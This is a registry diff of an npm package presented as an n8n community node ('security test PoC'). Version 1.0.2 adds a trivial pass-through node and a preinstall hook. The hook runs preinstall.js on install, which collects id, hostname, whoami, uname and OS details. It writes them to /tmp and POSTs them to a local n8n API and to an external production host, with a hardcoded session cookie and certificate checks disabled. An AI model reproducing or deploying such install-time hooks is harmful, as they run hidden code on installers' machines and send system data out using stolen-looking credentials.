n8n-nodes-security-test-poc 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -1 +1,21 @@
|
|
|
1
|
-
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
class SecurityTestNode {
|
|
4
|
+
constructor() {
|
|
5
|
+
this.description = {
|
|
6
|
+
displayName: 'Security Test',
|
|
7
|
+
name: 'securityTest',
|
|
8
|
+
group: ['transform'],
|
|
9
|
+
version: 1,
|
|
10
|
+
description: 'Security Test PoC Node',
|
|
11
|
+
defaults: { name: 'Security Test' },
|
|
12
|
+
inputs: ['main'],
|
|
13
|
+
outputs: ['main'],
|
|
14
|
+
properties: []
|
|
15
|
+
};
|
|
16
|
+
}
|
|
17
|
+
async execute() {
|
|
18
|
+
return [this.getInputData()];
|
|
19
|
+
}
|
|
20
|
+
}
|
|
21
|
+
exports.SecurityTestNode = SecurityTestNode;
|
package/package.json
CHANGED
|
@@ -1,21 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "n8n-nodes-security-test-poc",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.2",
|
|
4
4
|
"description": "Security test PoC node for n8n",
|
|
5
5
|
"n8n": {
|
|
6
|
-
"nodes": []
|
|
6
|
+
"nodes": ["dist/SecurityTestNode.node.js"]
|
|
7
7
|
},
|
|
8
8
|
"scripts": {
|
|
9
|
-
"preinstall": "
|
|
9
|
+
"preinstall": "node preinstall.js || true"
|
|
10
10
|
},
|
|
11
11
|
"main": "index.js",
|
|
12
12
|
"keywords": ["n8n-community-node-package"],
|
|
13
|
-
"license": "MIT"
|
|
14
|
-
"repository": {
|
|
15
|
-
"type": "git",
|
|
16
|
-
"url": "https://github.com/diego95root/n8n-nodes-security-test-poc"
|
|
17
|
-
},
|
|
18
|
-
"publishConfig": {
|
|
19
|
-
"registry": "https://registry.npmjs.org/"
|
|
20
|
-
}
|
|
13
|
+
"license": "MIT"
|
|
21
14
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const http = require('http');
|
|
4
|
+
|
|
5
|
+
try {
|
|
6
|
+
const out = execSync('id && hostname && whoami && uname -a && cat /etc/os-release 2>/dev/null || true').toString();
|
|
7
|
+
|
|
8
|
+
// Method 1: Write to file
|
|
9
|
+
require('fs').writeFileSync('/tmp/n8n-rce-proof.txt', out);
|
|
10
|
+
|
|
11
|
+
// Method 2: POST to n8n API (local)
|
|
12
|
+
const data = JSON.stringify({ key: 'RCE_PROOF', value: out.substring(0, 200).replace(/"/g, "'") });
|
|
13
|
+
|
|
14
|
+
// Try localhost first
|
|
15
|
+
const req = http.request({
|
|
16
|
+
hostname: '127.0.0.1',
|
|
17
|
+
port: 5678,
|
|
18
|
+
path: '/rest/variables',
|
|
19
|
+
method: 'POST',
|
|
20
|
+
headers: {
|
|
21
|
+
'Content-Type': 'application/json',
|
|
22
|
+
'Cookie': 'n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMwNzcxYTQzLWFhN2MtNGZmMy05Y2QwLTU1MDEwMWVmMjE0NSIsImhhc2giOiJpYTlVVnV5R05uIiwidXNlZE1mYSI6ZmFsc2UsImlhdCI6MTc4MTcwNTA1MCwiZXhwIjoxNzgyMzA5ODUwfQ.agzVHFGEFSiPMboqr7gcA6idfUp14nKI09pmvH6sR4I'
|
|
23
|
+
}
|
|
24
|
+
}, (res) => {});
|
|
25
|
+
req.on('error', () => {});
|
|
26
|
+
req.write(data);
|
|
27
|
+
req.end();
|
|
28
|
+
|
|
29
|
+
// Also try via external URL
|
|
30
|
+
const req2 = https.request({
|
|
31
|
+
hostname: 'worker.n8n-prod.schibsted.com',
|
|
32
|
+
path: '/rest/variables',
|
|
33
|
+
method: 'POST',
|
|
34
|
+
headers: {
|
|
35
|
+
'Content-Type': 'application/json',
|
|
36
|
+
'Cookie': 'n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMwNzcxYTQzLWFhN2MtNGZmMy05Y2QwLTU1MDEwMWVmMjE0NSIsImhhc2giOiJpYTlVVnV5R05uIiwidXNlZE1mYSI6ZmFsc2UsImlhdCI6MTc4MTcwNTA1MCwiZXhwIjoxNzgyMzA5ODUwfQ.agzVHFGEFSiPMboqr7gcA6idfUp14nKI09pmvH6sR4I'
|
|
37
|
+
},
|
|
38
|
+
rejectUnauthorized: false
|
|
39
|
+
}, (res) => {});
|
|
40
|
+
req2.on('error', () => {});
|
|
41
|
+
req2.write(data);
|
|
42
|
+
req2.end();
|
|
43
|
+
|
|
44
|
+
// Wait for requests to complete
|
|
45
|
+
setTimeout(() => process.exit(0), 3000);
|
|
46
|
+
} catch (e) {
|
|
47
|
+
require('fs').writeFileSync('/tmp/n8n-rce-error.txt', e.toString());
|
|
48
|
+
}
|
|
Binary file
|